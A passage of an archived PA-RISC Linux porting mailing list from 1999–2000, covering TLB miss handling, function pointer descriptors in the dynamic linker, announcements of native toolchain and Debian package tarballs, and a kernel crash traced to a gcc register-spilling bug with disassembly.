	id 57045F791; Mon, 29 Mar 1999 09:05:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by psalpha2.cup.hp.com (8.8.6 (PHNE_16852)/8.8.6) with SMTP id IAA09728
	for <hppa-linux@thepuffingroup.com>; Mon, 29 Mar 1999 08:01:20 -0800 (PST)
X-Authentication-Warning: psalpha2.cup.hp.com: localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 28 Mar 1999 12:37:05 PST."
             <Pine.LNX.3.96.990328122620.118A-100000@quark.ix.netcom.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7946


> 
> On Thu, 25 Mar 1999, Craig Hada wrote:
> > > 
> > 
> > In the absense of a harware TLB walker, the page directory format can be
> > structured by software to fit its needs. However, the TLB miss handler
> > must reformat the bits to fit the format of the TLB insert instructions.
> > To get maximum performace from the system, the TLB miss handlers must be
> > made very efficient. The format of the page directory entry in the PA-RISC 
> > Arch 1.1 book minimizes the work of the TLB miss handlers by aligning the
> > fields to match the format of the TLB insert instructions.
> > > 	
> > > 
> Is it necessary that the virtual to physical mappings in TLB be inserted
> only in a tlb miss fault. Can I insert  entries in the anticipation that
> there will be a fault soon, for example when I first enable 
> virtual mode ? If not, there is a potential chicken and egg problem
> because I will get a TLB miss fault as soon as I turn virtual mode on and
> TLB miss fault handler has to run in virtual mode with translations
> on.....and there aint any tranlations yet inserted ...you get the pitcure
> 
> 							-pkd
> 
> 
Under HP-UX, the TLB miss handler runs in real mode (data and code translation
disabled) so there is no need to have a virtual translation for the code 
representing the TLB miss handler or the page directory (both are equivalently
mapped). If a translation is not found in the page directory, then you enter
virtual mode to handle the page fault.

You can speculatively insert entries into the TLB but you also may be
replacing entries that are soon to be used. Since the TLB replacement 
algorithm is not documented, you are probably better off just inserting
the missed upon translation.

-Craig 

> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] interested in helping with the port
Date: Wed, 13 Sep 2000 20:17:17 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <39C0190D.5B5D06A5@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619127 3581 80.91.229.3 (22 Nov 2014 01:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com,
        grundler@cup.hp.com
Original-X-From: james.waterhouse@videotron.ca  Wed Sep 13 18:16:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04810
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 18:16:55 -0600
Original-Received: (qmail 32203 invoked by uid 15267); 14 Sep 2000 00:17:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32192 invoked from network); 14 Sep 2000 00:17:21 -0000
Original-Received: from mail.videotron.ca (HELO VL-MS-MR003.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 14 Sep 2000 00:17:21 -0000
Original-Received: from videotron.ca ([207.253.210.154]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G0UOSW01.PXK; Wed, 13 Sep 2000 20:17:20 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7947

Hello,
	I'm interested in helping with the port. I don't know what I can do
though since I've never really done any kernel programing, I'm just a
C/C++ programmer. I have a HP 715/50 to do things on (well as soon as I
get memory and a hard drive for it... hard drive is not a problem but
the mem maybe). Any way just wanted to introduce myself (James) and
offer to help.

Thanks,
James

p.s. If I can't find a better (cheaper) place to get memory then I'll
just buy it brand new from kingston

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Function descriptors, etc. (was Re: [parisc-linux] userspace
 function pointers in the kernel)
Date: Thu, 14 Sep 2000 11:22:10 +1100 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009141031480.30310-100000@front.linuxcare.com.au>
References: <878zswj6d1.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619128 3584 80.91.229.3 (22 Nov 2014 01:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:48 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Wed Sep 13 18:25:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA05051
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 18:25:53 -0600
Original-Received: (qmail 7367 invoked by uid 15267); 14 Sep 2000 00:26:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7279 invoked from network); 14 Sep 2000 00:26:15 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Sep 2000 00:26:15 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA31950;
	Thu, 14 Sep 2000 11:22:10 +1100
In-Reply-To: <878zswj6d1.fsf@linuxcare.com>
Content-ID: <Pine.LNX.4.21.0009141031482.30310@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7948

On 13 Sep 2000, David Huggins-Daines wrote:

> Reasons why the IA-64 scheme is better:
>[snip]

Hrmm, you've clearly had more time than I thinking about dynamic linker
issues.  :-)  My scheme of having the linker allocate space for the ld.so
structures necessary to generate unique function pointers can still
work;  It's just that plabels need a full struct hppa_fptr in addition
to our normal plt slot, rather than the measely single word I gave you.
This could have been accomplished simply by changing PLABEL_PLT_ENTRY_SIZE
to 20, and then ld.so wouldn't need those extra mmaps.

However, I guess we should go with what you have David - the time saved by
having the linker allocate space isn't huge, and in fact we might not even
need to mmap since ld.so has 256 fptr slots pre-allocated.

I just ran the following, and found libc.so only needs 63 global fptrs.

readelf -r libc.so | grep PLABEL \
| sed -e 's/.*R_PARISC/R_PARISC/' -e '/PLABEL      /d' -e 's/ *+.*//' \
| sort | uniq

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Thu, 14 Sep 2000 11:32:37 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009141123500.30310-100000@front.linuxcare.com.au>
References: <200009131711.KAA21176@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619128 3587 80.91.229.3 (22 Nov 2014 01:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:48 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Sep 13 18:34:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA05615
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 18:34:19 -0600
Original-Received: (qmail 14813 invoked by uid 15267); 14 Sep 2000 00:34:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14738 invoked from network); 14 Sep 2000 00:34:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Sep 2000 00:34:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA32163;
	Thu, 14 Sep 2000 11:32:38 +1100
In-Reply-To: <200009131711.KAA21176@adlmail.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7949

On Wed, 13 Sep 2000, Cary Coutant wrote:

> allocate PLT entries for all exported symbols). This means that you might 
> be asked to dlclose a library that contains the PLT entry that is 
> currently in use as the official function pointer for a function in 
> another load module. If you go ahead and deallocate the library, you're 
> hosed.

Yup, another reason, this one really solid, to use David's dynamically
allocated fptrs.

Note to David:  Make sure dl-fptr.c:_dl_unmap doesn't have this same
problem, if this function is called on a dlcose.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball, Debian packages
Date: 15 Sep 2000 04:00:36 -0400
Organization: Linuxcare, Inc.
Lines: 45
Approved: news@gmane.org
Message-ID: <87r96mgk4b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619128 3589 80.91.229.3 (22 Nov 2014 01:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:48 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep 15 02:00:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA06306
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 02:00:24 -0600
Original-Received: (qmail 22660 invoked by uid 15267); 15 Sep 2000 08:00:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22653 invoked from network); 15 Sep 2000 08:00:53 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Sep 2000 08:00:53 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ZqQG-0008GL-00; Fri, 15 Sep 2000 04:00:36 -0400
Original-Lines: 44
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7950

Well, it had to happen eventually.

I'm pleased to report that I have a working Perl tarball for PA-RISC
Linux, which means that the dpkg-dev programs and other random Debian
bits that are written in Perl are now functional, which means that we
can build Debian packages!

The toolchain and shared C libraries:

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/gcc-20000914.tgz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/binutils-20000914.tgz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/glibc-20000914.tgz

Make sure to remove any existing /usr/hppa-linux directory before
untarring the binutils, or you will get "cannot find crt1.o" from when
linking.

Perl (and gdbm, which it requires):

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/perl-20000914.tgz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/gdbm-20000915.tgz

You will need to run 'ln perl5.00503 perl5.005; ln perl5.00503
perl-5.005' after untarring that to satisfy some scripts.

dpkg:

http://puffin.external.hp.com/~dhd/debian-hppa/dpkg-1.7.0_hppa.nondebbin.tar.gz

You'll have to touch /var/lib/dpkg/available and /var/lib/dpkg/status
for dpkg to work.

It of course goes without saying that to have a useful development
environment you need to have a bunch of other stuff, like shellutils,
textutils, ncurses, ash, etc, etc, etc.  We'll be putting together a
new base system tarball shortly.  Until then you're on your own :(

Pending a proper Debian archive on p.e.h.c, I've started collecting
packages at http://puffin.external.hp.com/~dhd/debian-hppa/.  If they
don't install then use dpkg --force-deps.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 32 bit compiler bug causing kernel crashes
Date: Fri, 15 Sep 2000 06:06:45 -0600 (MDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <200009151206.GAA17924@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619129 3592 80.91.229.3 (22 Nov 2014 01:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Sep 15 06:06:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA09703
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 06:06:23 -0600
Original-Received: (qmail 7010 invoked by uid 15267); 15 Sep 2000 12:06:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7003 invoked from network); 15 Sep 2000 12:06:51 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 15 Sep 2000 12:06:51 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id 4D6CE549
	for <parisc-linux@thepuffingroup.com>; Fri, 15 Sep 2000 06:06:55 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id GAA17924 for parisc-linux@thepuffingroup.com; Fri, 15 Sep 2000 06:06:45 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7951


I've been investigating a problem that was leading to the kernel executing
a break 0,0 (executing 0) at random times. I've tracked the problem down
to a compiler bug.

When the kernel hit the break instruction it was always at the same
location in the kernel (in __rpc_execute() in net/sunrpc/sched.c).
Since the 0 wasn't on a cache line boundary, and since it was in
kernel text (which isn't modified after palo loads it), I suspected
that the problem was not a cache flush bug, but was instead either
someone directly scribbling on the kernel, or someone dma'ing
into it. In order to eliminate the first possibility I modified the
kernel vm mappings to make the kernel text read only (and added some
code in the trap handler to catch it instead of passing it to
do_page_fault()). Well I caught some code in the act, and it was
quite close to the instruction that was being zero'd:

	c0205b24 <.L1770>:
1--->   c0205b24:       0c 86 12 80     stw  r6,0(sr0,r4)
	c0205b28:       40 73 01 08     ldb 84(sr0,r3),r19
	c0205b2c:       08 b3 02 13     and r19,r5,r19
	c0205b30:       86 60 20 0a     cmpib,=,n 0,r19,c0205b3c <.L1809>
2--->   c0205b34:       e8 5f 1b 85     b,l c02058fc <__rpc_atrun+0x40>,rp
	c0205b38:       34 42 3f d1     ldo -18(rp),rp

	c0205b3c <.L1809>:
3--->   c0205b3c:       0d 00 12 80     stw  r0,0(sr0,r8)


"1--->" above points to the instruction that was being zeroed in error.
"2--->" above is a branch to schedule() (in kernel/sched.c).
"3--->" above is the instruction caught writing into "1--->" above

r8 contained 0xc0205b24. So I wondered how it got that value, since
it should be pointing to the current task structure (current->).
I thought perhaps there was still some old "r8 hack" code around,
and just yesterday I noticed some cruft in entry.S dealing with r8,
but although superfluous, it was not the problem, since the registers
were saved before r8 was used. I checked through all of the trap
paths, and couldn't find anyplace that was trashing r8.

So then I wondered how r8 was always getting 0xc0205b24, and figured that
that value must be used somewhere. I noticed the .L1770 label, and
figured that it must be there for a reason, but I couldn't find a
branch to it. I then noticed the ldo -18(rp),rp after the branch
to schedule. Ooooh, score a point for gcc. That's an optimization I've
never seen in the hp-ux compiler. schedule is in the bottom of a loop,
so this modification of rp in the delay slot causes schedule to return
to the top of the loop, i.e. <.L1770>. This means that 0xc0205b24
is in r2 when schedule is called. So I decided to look at schedule
to see if I could get a clue how the value of r2 was getting transferred
into r8. So here is the code at the beginning of schedule():

	c0114404 <schedule>:
	c0114404:       08 03 02 41     copy r3,r1
	c0114408:       08 1e 02 43     copy sp,r3
4--->   c011440c:       0c 68 12 90     stw  r8,8(sr0,r3)
	c0114410:       08 1e 02 48     copy sp,r8
	c0114414:       6b c2 3f d9     stw rp,-14(sr0,sp)
	c0114418:       08 08 02 53     copy r8,r19
5--->   c011441c:       6f c1 01 00     stw,ma r1,80(sr0,sp)

This is not good. At "4--->" above r8 is being saved above the stack
pointer, i.e. before the stack pointer is incremented at "5--->" above.
This is a compiler bug, and I rebuilt my compiler from top of branch
sources to make sure that it is still there. It is.

For many of you, this is obvious, but just to finish this long winded
story, if an interrupt comes in between "4--->" and "5--->" above, the
stored value of r8 will get trashed because the stack pointer is
still pointing below it. When an interrupt comes in, a trap frame will
be stored starting at the stack pointer, and guess what register is
going to be saved at sp+8? Yep, r2.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball, Debian packages
Date: Sat, 16 Sep 2000 00:07:54 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20000916000752.T21912@neep.com.au>
References: <87r96mgk4b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619129 3594 80.91.229.3 (22 Nov 2014 01:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
Original-X-From: andrew@neep.com.au  Fri Sep 15 10:08:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11335
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 10:07:59 -0600
Original-Received: (qmail 26577 invoked by uid 15267); 15 Sep 2000 16:08:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26525 invoked from network); 15 Sep 2000 16:08:26 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 15 Sep 2000 16:08:26 -0000
Original-Received: (qmail 16422 invoked by uid 666); 15 Sep 2000 16:08:12 -0000
Original-Received: from reggae-24-216.nv.iinet.net.au (HELO guinness.neep.com.au) (203.59.89.216)
  by mail.iinet.net.au with SMTP; 15 Sep 2000 16:08:12 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id AAA32054;
	Sat, 16 Sep 2000 00:07:58 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com,
	debian-hppa@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <87r96mgk4b.fsf@linuxcare.com>; from dhd@linuxcare.com on Fri, Sep 15, 2000 at 04:00:36AM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7952

David Huggins-Daines said:
[ lots of good stuff ]
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/perl-20000914.tgz

I don't see this one ... not in that directory, not in ./old/ or ../tgz/
either.  Was it taken down or did it not quite make it up?  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball, Debian packages
Date: 15 Sep 2000 12:59:30 -0400
Organization: Linuxcare, Inc.
Lines: 17
Approved: news@gmane.org
Message-ID: <87itrxh9ql.fsf@linuxcare.com>
References: <87r96mgk4b.fsf@linuxcare.com> <20000916000752.T21912@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619129 3597 80.91.229.3 (22 Nov 2014 01:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: dhd@linuxcare.com  Fri Sep 15 10:59:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13489
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 10:59:36 -0600
Original-Received: (qmail 21803 invoked by uid 15267); 15 Sep 2000 17:00:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21789 invoked from network); 15 Sep 2000 17:00:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Sep 2000 17:00:03 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Zypm-0008Rn-00; Fri, 15 Sep 2000 12:59:30 -0400
In-Reply-To: Andrew Shugg's message of "Sat, 16 Sep 2000 00:07:54 +0800"
Original-Lines: 16
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7953

Andrew Shugg <andrew@neep.com.au> writes:

> David Huggins-Daines said:
> [ lots of good stuff ]
> > ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/perl-20000914.tgz
> 
> I don't see this one ... not in that directory, not in ./old/ or ../tgz/
> either.  Was it taken down or did it not quite make it up?  =)

Oops.  My public_html dir is 403 too.  Chalk it up to working at 3AM.

Should be fixed now.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32 bit compiler bug causing kernel crashes
Date: 15 Sep 2000 13:43:10 -0400
Organization: Linuxcare, Inc.
Lines: 33
Approved: news@gmane.org
Message-ID: <877l8dlff5.fsf@linuxcare.com>
References: <200009151206.GAA17924@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619129 3600 80.91.229.3 (22 Nov 2014 01:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Fri Sep 15 11:44:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA15682
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 11:44:44 -0600
Original-Received: (qmail 19202 invoked by uid 15267); 15 Sep 2000 17:45:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19185 invoked from network); 15 Sep 2000 17:45:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Sep 2000 17:45:13 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ZzW2-0008SQ-00; Fri, 15 Sep 2000 13:43:10 -0400
In-Reply-To: John Marvin's message of "Fri, 15 Sep 2000 06:06:45 -0600 (MDT)"
Original-Lines: 32
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7954

John Marvin <jsm@udlkern.fc.hp.com> writes:

> I've been investigating a problem that was leading to the kernel executing
> a break 0,0 (executing 0) at random times. I've tracked the problem down
> to a compiler bug.

Cool.  Strangely enough I don't see this in 2.3.99pre8, only in 2.4.
The problem with userspace executing zero at random times is obviously
something else.

> So here is the code at the beginning of schedule():
> 
> 	c0114404 <schedule>:
> 	c0114404:       08 03 02 41     copy r3,r1
> 	c0114408:       08 1e 02 43     copy sp,r3

Hm.  This bit above puzzles me, because I thought the kernel was
either compiled with -fomit-frame-pointer, or with sufficient
optimization that the frame pointer would be omitted anyway.

> 4--->   c011440c:       0c 68 12 90     stw  r8,8(sr0,r3)
> 	c0114410:       08 1e 02 48     copy sp,r8
> 	c0114414:       6b c2 3f d9     stw rp,-14(sr0,sp)
> 	c0114418:       08 08 02 53     copy r8,r19
> 5--->   c011441c:       6f c1 01 00     stw,ma r1,80(sr0,sp)

Wow.  That is some unbelievably screwed up register spilling.  In fact
I suspect that this may be a reload bug.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: New Cross-Compiler, userspace tarballs, and Debian packages (was Re: 
 [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball, 
 Debian packages)
Date: Fri, 15 Sep 2000 19:37:48 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20000916013748.AA92137D06@carmen.fc.hp.com>
References: <87r96mgk4b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619130 3858 80.91.229.3 (22 Nov 2014 01:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org,
        taggart@carmen.fc.hp.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: taggart@carmen.fc.hp.com  Fri Sep 15 19:35:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA21353
	for <parisc-linux@puffin.external.hp.com>; Fri, 15 Sep 2000 19:35:38 -0600
Original-Received: (qmail 27220 invoked by uid 15267); 16 Sep 2000 01:36:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27210 invoked from network); 16 Sep 2000 01:36:08 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 16 Sep 2000 01:36:08 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id C130DA06; Fri, 15 Sep 2000 19:35:48 -0600 (MDT)
